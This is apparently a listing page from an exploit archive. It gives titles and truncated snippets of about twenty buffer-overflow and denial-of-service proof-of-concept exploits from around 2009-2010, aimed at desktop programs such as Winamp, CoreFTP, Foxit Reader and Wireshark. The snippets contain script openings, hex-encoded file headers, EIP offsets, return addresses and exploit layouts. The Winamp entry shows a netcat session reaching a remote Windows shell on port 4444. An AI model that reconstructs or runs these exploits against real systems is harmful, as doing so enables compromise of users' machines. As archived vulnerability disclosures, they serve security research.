CastRipper 2.50.70 - .asx Playlist Stack Overflow

CastRipper 2.50.70 - .asx Playlist Stack Overflow !/usr/bin/perl Author : Jordi Chancel CastRipper 2.50.70 : ASX playlist Stack Overflow Exploit use strict; use warnings; my $header1= "\x3C\x61\x73\x78\x20\x76\x65\x72\x73\x69\x6F\x6E\x20\x3D\x20"...

WM Downloader 3.0.0.9 - PLS WMDownloader (PoC)

WM Downloader 3.0.0.9 - PLS WMDownloader PoC !/usr/bin/perl JIKO =JAWAD Thanx To All Friends : Cyber-Zone , Stack , ZoRLu , Hussin X , Mag!c ompo ,Sad Hacker ,Strock ... All MoroCCaN HaCkerS No-Exploit.com EAX 00000000 ECX 41414141 EDX 000008C3 EBX 000FBBD4 ASCII "F:\perso\test\tool\jiko.pls" ESP...

DeepBurner pro 1.9.0.228 - '.dbr' file Buffer Overflow (Universal)

/ Deepburner pro 1.9.0.228 dbr file buffer overflow exploituniversal This is buffer: header 253 bytes + junk+ next seh + seh addr + tail 957 bytes dbr/dbi file Date: 29.01.2010 Dicovery Credits: fl0 fl0w Exploit Credits : fl0 fl0w ?Download latest vuln vs from: http://www.deepburner.com/?r=downlo...

CoreFTP v2.1 b1637 (password field) Universal BOF Exploit

Exploit for unknown platform in category local exploits ========================================================= CoreFTP v2.1 b1637 password field Universal BOF Exploit ========================================================= !/usr/bin/python Vulnerability : CoreFTP v2.1 b1637 password field...

Wireshark 1.2.5 LWRES getaddrbyname stack BOF

No description provided by source. !/usr/bin/env python Wireshark 1.2.5 LWRES getaddrbyname stack-based buffer overflow PoC with control over EIP on Debian 5.0.3 by babi [email protected] on 29 Jan 2010 get it at http://www.wireshark.org/download/src/all-versions/wireshark-1.2.5.tar....

Wireshark 1.2.5 LWRES getaddrbyname Buffer Overflow

!/usr/bin/env python Wireshark 1.2.5 LWRES getaddrbyname stack-based buffer overflow PoC with control over EIP on Debian 5.0.3 by babi on 29 Jan 2010 get it at http://www.wireshark.org/download/src/all-versions/wireshark-1.2.5.tar.gz import socket, sys try: host = sys.argv1 except: print "usage: ...

Wireshark 1.2.5 LWRES getaddrbyname stack BOF

Exploit for unknown platform in category dos / poc ============================================= Wireshark 1.2.5 LWRES getaddrbyname stack BOF ============================================= !/usr/bin/env python Wireshark 1.2.5 LWRES getaddrbyname stack-based buffer overflow PoC with control over E...

Wireshark 1.2.5 - LWRES getaddrbyname Stack Buffer Overflow (PoC)

Wireshark 1.2.5 - LWRES getaddrbyname Stack Buffer Overflow PoC !/usr/bin/env python Wireshark 1.2.5 LWRES getaddrbyname stack-based buffer overflow PoC with control over EIP on Debian 5.0.3 by babi on 29 Jan 2010 get it at http://www.wireshark.org/download/src/all-versions/wireshark-1.2.5.tar.gz...

Wireshark 1.2.5 - 'LWRES getaddrbyname' Stack Buffer Overflow (PoC)

!/usr/bin/env python Wireshark 1.2.5 LWRES getaddrbyname stack-based buffer overflow PoC with control over EIP on Debian 5.0.3 by babi on 29 Jan 2010 get it at http://www.wireshark.org/download/src/all-versions/wireshark-1.2.5.tar.gz import socket, sys try: host = sys.argv1 except: print "usage: ...

Safari 4.0.4 Crash Proof Of Concept

The following piece of javascript will crash Safari nicely when triggered using one of the methods described below. With my limited knowledge I am unable to tell if it's exploitable or not. I therefore turn it over to "the internet". tested on Safari 4.0.4, Win XP Pro SP3...

Winamp 5.572 - Local Overflow (SEH)

!/usr/bin/python Exploit Title: Winamp tecr0c@backtrack:/exploits/winamp$ nc -v 192.168.2.24 4444 192.168.2.24: inverse host lookup failed: Unknown server error : Connection timed out UNKNOWN 192.168.2.24 4444 ? open Microsoft Windows XP Version 5.1.2600 C Copyright 1985-2001 Microsoft Corp...

Winamp 5.572 (Windows XP SP3 DE) - 'whatsnew.txt' Local Buffer Overflow

Tested on: WinXP SP3 De !/usr/bin/perl Still learning, having some fun... Greetz to -Sid- Roadkill Jess Dawn Linki Special greetz do Debug, even i dont know you. Nice find man. Exploit has something around 70% chance of success. print "\n\n"; print " Winamp 5.572 stack buffer overflow \n"; print ...

Winamp 5.572 - whatsnew.txt Stack Overflow (PoC)

Winamp 5.572 - whatsnew.txt Stack Overflow PoC Author: Debug [email protected] Version: 5.572 Tested on: Windows xpsp2 !/usr/bin/perl Replace whatsnew.txt , open Winamp click Help-about winamp- version history. hacking.org.il. EAX 00000000 ECX 00000000 EDX 00661658 EBX 00000000 ESP 00B7EDE8 ASCII...

Foxit Reader 4.1.1 Stack Overflow Exploit

Exploit for windows platform in category local exploits ========================================= Foxit Reader 4.1.1 Stack Overflow Exploit ========================================= Exploit Title : Foxit 4.1.1 Date : 13/11/2010 Author : Sud0 Software Link :...

TurboFTP Server 1.00.712 - Remote Denial of Service

TurboFTP Server 1.00.712 - Remote Denial of Service Exploit Title : TurboFTP Server 1.00.712 Remote DoS Date : 30 december 2009 Author : corelanc0d3r corelanc0d3ratgmaildotcom Bug found by : corelanc0d3r corelanc0d3ratgmaildotcom Software Link : http://www.tbsoftinc.com/download/tbftpsrv.exe...

HTMLDOC 1.9.x-r1629 (Windows x86) - '.html' Local Buffer Overflow

/HTMLDOC 1.9.x-r1629 local .html buffer overflowwin32 exploit download: http://www.htmldoc.org/software.php?VERSION=1.9.x-r1629&FILE=htmldoc/snapshots/htmldoc-1.9.x-r1629.tar.bz2 header 19 bytes junk 268 bytes EIP register 4 bytes NOP SLEED 15 bytes calc.exe shellcode 338 bytes PLEASE READ: 1.Run...

Audiotran 1.4.1 (Windows XP SP2/SP3 English) - Local Buffer Overflow

!/usr/bin/ruby Exploit Title : Audiotran 1.4.1 Win XP SP2/SP3 English Buffer Overflow Date : January 9th, 2010 Author : Sébastien Duquette Software Link : http://www.e-soft.co.uk/Audiotran.htm Version : 1.4.1 OS : Windows Tested on : XP SP2/SP3 En VMware Type of vuln : Stack Overflow / SEH Greetz...

Easy RM to MP3 2.7.3.700 - Local Buffer Overflow

!/usr/bin/python Exploit for against Easy RM to MP3 2.7.3.700 12.2.2009 Author: Ron Henry - [email protected] - dijital1 Version: Easy RM to MP3 2.7.3.700 Tested against WinXP SP3 - English outputfile = "astley.m3u" shellcode="A" 26071 Offset to EIP - Windows XP SP3 shellcode+="\x25\x96\xa0\x7c"...

M3U To ASX-WPL 1.1 (m3u Playlist file) Buffer Overflow Exploit

No description provided by source. exploit.py M3U To ASX-WPL 1.1 m3u Playlist file Buffer Overflow Exploit By: Encrypt3d.M!Nd http://m1nd3d.wordpress.com/ SEH Overwrite method - you can use simple jmp esp accourding to my calculations EIP Would Change after 1378 bytes.it may be diffrent on other...

Adobe Illustrator CS4 (V14.0.0) Encapsulated Postscript (.eps) Overlong DSC Comment Buffer Overflow Exploit

?php / Adobe Illustrator CS4 V14.0.0 Encapsulated Postscript .eps overlong DSC Comment Buffer Overflow Exploit by Nine:Situations:Group::pyrokinesis site: http://retrogod.altervista.org/ An overlong string as DSC comment more than 42000 bytes results in a direct EIP overwrite. Exception is...